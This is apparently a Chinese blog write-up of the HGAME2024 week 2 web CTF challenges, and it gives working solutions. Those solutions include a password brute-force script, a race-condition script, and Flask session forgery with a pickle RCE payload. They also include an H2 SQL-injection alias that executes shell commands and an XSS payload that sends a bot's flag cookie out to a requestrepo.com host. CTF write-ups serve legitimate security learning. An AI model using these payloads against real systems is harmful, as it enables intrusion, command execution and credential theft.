【Web】HGAME2024_week2

381次阅读
没有评论

hgame2024_week2

参考的师傅们的 wp
Jay17 师傅:https://blog.csdn.net/Jayjay___/article/details/136117054?spm=1001.2014.3001.5502
Eddie 师傅:https://www.cnblogs.com/EddieMurphy-blogs/p/18015760

Web

What the cow say?

网站是用 flask 写的. 再加上输入的东西会被输出, 一眼模板注入.
可是尝试了 {{7*7}} 等其他之后, 发现不是模板注入.
然后又试了试 xss 漏洞, 发现依然不是...
到这里, 我要疯了!!!
然后...
【Web】HGAME2024_week2
好吧, 其实是命令执行.
那然后查看根目录找 flag 就行了.
本题 ban 掉了 cat\还有 flag, 用 tac 绕过.
查看根目录
【Web】HGAME2024_week2
找到 flag.
【Web】HGAME2024_week2

Select More Courses

一个需要登录的平台. 系统提示有弱密码, 而且提示也给了参考的弱密码字典.
放到 bp 里面爆破.
然后我试了试, 速度太慢了, 也可能是 burpsuite 版本的原因或者我电脑本身的原因, 所以我就自己写了个脚本跑.

import requests
import json
a="1"
with open('weak_password.txt','r')as file:
    for line in file:
        a=line.strip()
        data = {"username":"ma5hr00m","password":a}
        url = "http://106.14.57.14:30335/api/auth/login"
        headers = {'Content-Type': 'application/json'}
        response = requests.post(url, data=json.dumps(data), headers=headers)
        if "error" in response.text:
            print(response.text)
            continue
        else:
            print(a)
            print(response.text)
            break

【Web】HGAME2024_week2
爆破出来密码后进入平台界面.
扩学分申请后提示与时间赛跑. 多方尝试无果.
等到赛后复现看了 wp 才知道这里是条件竞争.
写脚本多线程跑就行

import requests
import threading
def send_request():
    url = "http://139.196.183.57:31536/api/expand"
    headers = {
        "Content-Type": "application/json",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36",
        "Accept": "*/*",
        "Origin": "http://139.196.183.57:31536",
        "Referer": "http://139.196.183.57:31536/expand",
        "Accept-Encoding": "gzip, deflate, br",
        "Accept-Language": "zh-CN,zh;q=0.9",
        "Cookie":   "session=MTcwODE1MjY5NHxEWDhFQVFMX2dBQUJFQUVRQUFBcV80QUFBUVp6ZEhKcGJtY01DZ0F   ZFhObGNtNWhiV1VHYzNSeWFXNW5EQW9BQ0cxaE5XaHlNREJ0fIUIxCpAmxJLDuxfbYJH6ooTowfq   93j7eCBPF4vItae",
        "Connection": "close",
    }   
    data = {"username": "ma5hr00m"}
    while True:
        try:
            response = requests.post(url, json=data, headers=headers)
            print("Response Content:", response.text)
        except requests.exceptions.RequestException as e:
            print(f"Error: {e}")        
threads = []
for _ in range(50):
    thread = threading.Thread(target=send_request)
    thread.start()
    threads.append(thread)
# 等待所有线程完成
for thread in threads:
    thread.join()

然后到选课界面会发现最高学分改变了, 这时候就可以选课了.
【Web】HGAME2024_week2

myflask

代码审计, 发现 flask sessionsecret_key是当前时间的时间戳.

currentDateAndTime = datetime.now(timezone('Asia/Shanghai'))
currentTime = currentDateAndTime.strftime("%H%M%S")

app = Flask(__name__)
# Tips: Try to crack this first ↓
app.config['SECRET_KEY'] = currentTime
print(currentTime)

可以发现,secret_key实际上是六位数字
网上找到一个爆破密钥的脚本

import itertools
import flask_unsign
from flask_unsign.helpers import wordlist
import requests as r
import time
import re
import sys

path = "wordlist.txt"

print("Generating wordlist... ")

with open(path,"w") as f:
    #permutations with repetition
    [f.write(''+"".join(x)+''+"\n") for x in itertools.product('0123456789', repeat=6)]   #加上前缀

#url = "http://47.115.201.35:8000/index"
#cookie_tamper = r.head(url).cookies.get_dict()['session']
cookie_tamper='eyJ1c2VybmFtZSI6Imd1ZXN0In0.ZdB1WQ.jpqxhLL0V3m_3fokgBXkWso0Xk0'
print("Got cookie: " + cookie_tamper)

print("Cracker Started...")

obj = flask_unsign.Cracker(value=cookie_tamper)

before = time.time()

with wordlist(path, parse_lines=False) as iterator:
            obj.crack(iterator)

secret = ""
if obj.secret:
    secret =obj.secret.decode()
    print(f"Found SECRET_KET {secret} in {time.time()-before} seconds")

signer = flask_unsign.sign({"time":time.time(),"authorized":True},secret=secret)

爆破出密码为:162000
【Web】HGAME2024_week2
然后利用密钥伪造 session
先看解密之后的结构, 很简单
【Web】HGAME2024_week2
伪造 session
【Web】HGAME2024_week2

成功伪造后, 继续审计代码. 接下来是 pickle 反序列化的知识. 注意版本是 3.11
构造的脚本如下

import pickle
import base64

class A(object):
    def __reduce__(self):
        return (eval, ("__import__('os').popen('tac /flag').read()",))

a = A()
a = pickle.dumps(a)
print(base64.b64encode(a))

构造出来后,post 传参即可
【Web】HGAME2024_week2

search4member

这题做的时候没啥思路, 最后还是艰难的复现出来了.
题目给出了 java 源码. 找到 Controller.java 看一下.
核心代码如下:

public ModelAndView search(@Param(defaultValue = "web") String keyword) throws SQLException {List<String> results = new ArrayList<>();
        if (keyword != null & !keyword.equals("")) {
            String sql = "SELECT * FROM member WHERE intro LIKE '%" + keyword + "%';";
            DataSource dataSource = dbManager.getDataSource();
            Statement statement = dataSource.getConnection().createStatement();
            ResultSet resultSet = statement.executeQuery(sql);
            while (resultSet.next()) {results.add(resultSet.getString("id") + " : "
                        + resultSet.getString("intro") + " : "
                        + resultSet.getString("blog"));
            }
            resultSet.close();
            statement.close();}
        ModelAndView model = new ModelAndView("search.ftl");
        model.put("results", results);
        return model;
    }

看到和数据库相关, 考虑应该跟 sql 注入. 不过这里的语句很容易让人想到堆叠注入
我也不知道为啥, 看到 execute 就会想到
开启环境试试
根据源码的 sql 语句进行 sql 注入:1%' union select 1,2,3;--+
【Web】HGAME2024_week2

ps: 在这里我才知道, 原来 #和 --+ 是不一样的,# 是指导浏览器动作的, 对服务器端完全没用, 比如这里拼接语句之后把后面的双引号注释掉只能用 --+. 真好!又学到一个小知识

发现可以 sql 注入后, 开始大搜一波, 然后啥也没找到, 在各种表里面都没有找到 flag.
赛后看了 wp 才知道, 在 pom.xml 依赖项中存在com.h2database
【Web】HGAME2024_week2
而 h2database 有对应的 rce 漏洞.
参考文章
Spring Boot Actuator hikari 配置不当导致的远程命令执行漏洞
H2 database 漏洞复现
漏洞原理我理解起来就是, 可以借助 h2database 漏洞创建一个新的 java 函数, 而这个 java 函数可以执行系统命令, 然后我们去调用即可.
文章里是通过反弹 shell 来打的. 而官方 wp 里其实可以先创建函数, 然后通过调用把 flag 插进表里面.

payload:
#先创建函数
1%';CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter ("\\A"); return s.hasNext() ? s.next() : ""; }$$;SELECT * FROM member WHERE intro LIKE '%13
#查询 flag 插入表中
1%';INSERT INTO member (id, intro, blog) VALUES ('flag','flag',SHELLEXEC('cat /flag'));SELECT * FROM member WHERE intro LIKE '%13
#输入关键词查询 flag

【Web】HGAME2024_week2

梅开二度

看见 go 语言就头疼. 最后还是决定跟着 wp 复现一下.
贴上源码

package main

import (
    "context"
    "log"
    "net/url"
    "os"
    "regexp"
    "sync"
    "text/template"
    "time"  
    "github.com/chromedp/chromedp"
    "github.com/gin-gonic/gin"
    "golang.org/x/net/html"
)

var re = regexp.MustCompile(`script|file|on`)

var lock sync.Mutex

func main() {allocCtx, cancel := chromedp.NewExecAllocator(context.Background(), append(chromedp.DefaultExecAllocatorOptions[:],
        chromedp.NoSandbox, chromedp.DisableGPU)...)
    defer cancel()  
    r := gin.Default()
    r.GET("/", func(c *gin.Context) {tmplStr := c.Query("tmpl")
        if tmplStr == "" {tmplStr = defaultTmpl} else {if re.MatchString(tmplStr) {c.String(403, "tmpl contains invalid word")
                return
            }
            if len(tmplStr) > 50 {c.String(403, "tmpl is too long")
                return
            }
            tmplStr = html.EscapeString(tmplStr)
        }
        tmpl, err := template.New("resp").Parse(tmplStr)
        if err != nil {c.String(500, "parse template error: %v", err)
            return
        }
        if err := tmpl.Execute(c.Writer, c); err != nil {c.String(500, "execute template error: %v", err)
        }
    })  
    r.GET("/bot", func(c *gin.Context) {rawURL := c.Query("url")
        u, err := url.Parse(rawURL)
        if err != nil {c.String(403, "url is invalid")
            return
        }
        if u.Host != "127.0.0.1:8080" {c.String(403, "host is invalid")
            return
        }
        go func() {lock.Lock()
            defer lock.Unlock() 
            ctx, cancel := chromedp.NewContext(allocCtx,
                chromedp.WithBrowserOption(chromedp.WithDialTimeout(10*time.Second)),
            )
            defer cancel()
            ctx, _ = context.WithTimeout(ctx, 20*time.Second)
            if err := chromedp.Run(ctx,
                chromedp.Navigate(u.String()),
                chromedp.Sleep(time.Second*10),
            ); err != nil {log.Println(err)
            }
        }()
        c.String(200, "bot will visit it.")
    })  
    r.GET("/flag", func(c *gin.Context) {if c.RemoteIP() != "127.0.0.1" {c.String(403, "you are not localhost")
            return
        }
        flag, err := os.ReadFile("/flag")
        if err != nil {c.String(500, "read flag error")
            return
        }
        c.SetCookie("flag", string(flag), 3600, "/", "", false, true)
        c.Status(200)
    })
    r.Run(":8080")
}

const defaultTmpl = `
<!DOCTYPE html>
<html>
<head>
    <title>YOU ARE</title>
</head>
<body>
    <div> 欢迎来自 {{.RemoteIP}} 的朋友 </div>
    <div> 你的 User-Agent 是 {{.GetHeader "User-Agent"}}</div>
    <div>flag 在 bot 手上, 想办法偷过来 </div>
</body>

给了源代码 先扔进 ChatGPT 分析一波
以下来自 gpt

处理根路径请求(/):从查询参数获取 tmpl 值.
如果未提供 tmpl 值, 则使用默认模板.
对于提供了 tmpl 值的情况, 检查是否包含了正则表达式定义的关键字, 如果包含则返回 403 Forbidden.
如果 tmpl 长度超过 50, 则返回 403 Forbidden.
对 tmpl 进行 HTML 转义, 然后解析并执行模板.

处理 /bot 路径请求:从查询参数获取 url 值, 解析为 URL 对象.
检查 URL 的 Host 是否为 "127.0.0.1:8080", 如果不是则返回 403 Forbidden.
在一个新的 goroutine 中执行 Chrome 浏览器自动化操作, 访问给定的 URL.

处理 /flag 路径请求:检查请求是否来自本地主机(127.0.0.1).
读取文件 /flag 的内容.
将 flag 内容设置为 cookie, 然后返回状态码 200 OK.

大致的漏洞也清晰, 应该就是在 / 路由处进行 ssti 以及 xss, 然后伪造成本地去访问 /flag
先测试 SSTI
{println 0B101101011011011110001010110}}或者{{.}
有回显证明存在 SSTI
但源码进行了过滤, 进行了黑名单限制、长度过滤以及 html 转义.
查询文章会发现可以调用方法, 比如这里调用 Query
?tmpl={{.Query Haxo}}&Haxo=<script>alert('XSS')</script>
{{}}里的 Haxo 应该加反引号, 这里语法限制就不加了, 应该是这样的
【Web】HGAME2024_week2
接下来就是需要通过 bot 去访问 /flag
然后看了师傅们的 wp 之后会发现存在很多的坑.
由于源码中写了c.SetCookie("flag", string(flag), 3600, "/", "", false, true)
分析一波此处代码就会发现开启了 httponly. 也就意味着只能通过 http 请求访问, 而无法直接实现 js 代码.
所以我们就让 bot 可以先访问 /flag. 然后通过根目录下的 SSTI 找到包含 flag 的 cookie. 此时 bot 的 cookie 就是 flag. 然后通过 dns 外带出 cookie
坑点师傅们都写了, 我这里就不写了.
js 代码如下

async function fetchData() {await fetch('http://127.0.0.1:8080/flag')
        .then(response => response.text()) 
        .then(data => console.log(' 网址 A 访问成功 '))
        .catch(error => console.error(' 访问网址 A 时发生错误:', error));
    let x; 
    await fetch('http://127.0.0.1:8080/?tmpl={{.Cookie `flag`}}')
        .then(response => response.text()) 
        .then(data => {x = data;})
        .catch(error => console.error(' 访问网址 B 时发生错误:', error));
    window.open("http://Haxo"+x.substring(6,46)+".hk8fata9.requestrepo.com/");
}
fetchData();

上面的 js 加上 先进行编码
然后放入 payload 再进行编码
/bot?url=http://127.0.0.1:8080?tmpl={{.Query Haxo}}&Haxo= 编码后的 js

http://139.196.183.57:30152/bot?url=http%3A%2F%2F127.0.0.1%3A8080%3Ftmpl%3D%7B%7B.Query%20%60Haxo%60%7D%7D%26Haxo%3D%253Cscript%253Easync%2520function%2520fetchData()%2520%257B%250A%2520%2520%2520%2520await%2520fetch('http%253A%252F%252F127.0.0.1%253A8080%252Fflag')%250A%2520%2520%2520%2520%2520%2520%2520%2520.then(response%2520%253D%253E%2520response.text())%2520%250A%2520%2520%2520%2520%2520%2520%2520%2520.then(data%2520%253D%253E%2520console.log('%25E7%25BD%2591%25E5%259D%2580A%25E8%25AE%25BF%25E9%2597%25AE%25E6%2588%2590%25E5%258A%259F'))%250A%2520%2520%2520%2520%2520%2520%2520%2520.catch(error%2520%253D%253E%2520console.error('%25E8%25AE%25BF%25E9%2597%25AE%25E7%25BD%2591%25E5%259D%2580A%25E6%2597%25B6%25E5%258F%2591%25E7%2594%259F%25E9%2594%2599%25E8%25AF%25AF%253A'%252C%2520error))%253B%250A%2520%2520%2520%2520let%2520x%253B%2520%250A%2520%2520%2520%2520await%2520fetch('http%253A%252F%252F127.0.0.1%253A8080%252F%253Ftmpl%253D%257B%257B.Cookie%2520%2560flag%2560%257D%257D')%250A%2520%2520%2520%2520%2520%2520%2520%2520.then(response%2520%253D%253E%2520response.text())%2520%250A%2520%2520%2520%2520%2520%2520%2520%2520.then(data%2520%253D%253E%2520%257B%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520x%2520%253D%2520data%253B%2520%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D)%250A%2520%2520%2520%2520%2520%2520%2520%2520.catch(error%2520%253D%253E%2520console.error('%25E8%25AE%25BF%25E9%2597%25AE%25E7%25BD%2591%25E5%259D%2580B%25E6%2597%25B6%25E5%258F%2591%25E7%2594%259F%25E9%2594%2599%25E8%25AF%25AF%253A'%252C%2520error))%253B%250A%2520%2520%2520%2520window.open(%2522http%253A%252F%252FHaxo%2522%252Bx.substring(6%252C46)%252B%2522.hk8fata9.requestrepo.com%252F%2522)%253B%250A%257D%250AfetchData()%253B%253C%252Fscript%253E

【Web】HGAME2024_week2
【Web】HGAME2024_week2
【Web】HGAME2024_week2
最后的最后, 尝试的时候以为可以直接把整个 flag 带出来, 包括 hgame{ 这几个字符. 后来发现当长度过长时是没法带出来的, 所以这里尝试后范围是从 6 到 46.

正文完
 
haxo
版权声明:本站原创文章,由 haxo 2024-02-18发表,共计10383字。
转载说明:除特殊说明外本站文章皆由CC-4.0协议发布,转载请注明出处。
最新评论
emoji emoji 写得好啊
评论(没有评论)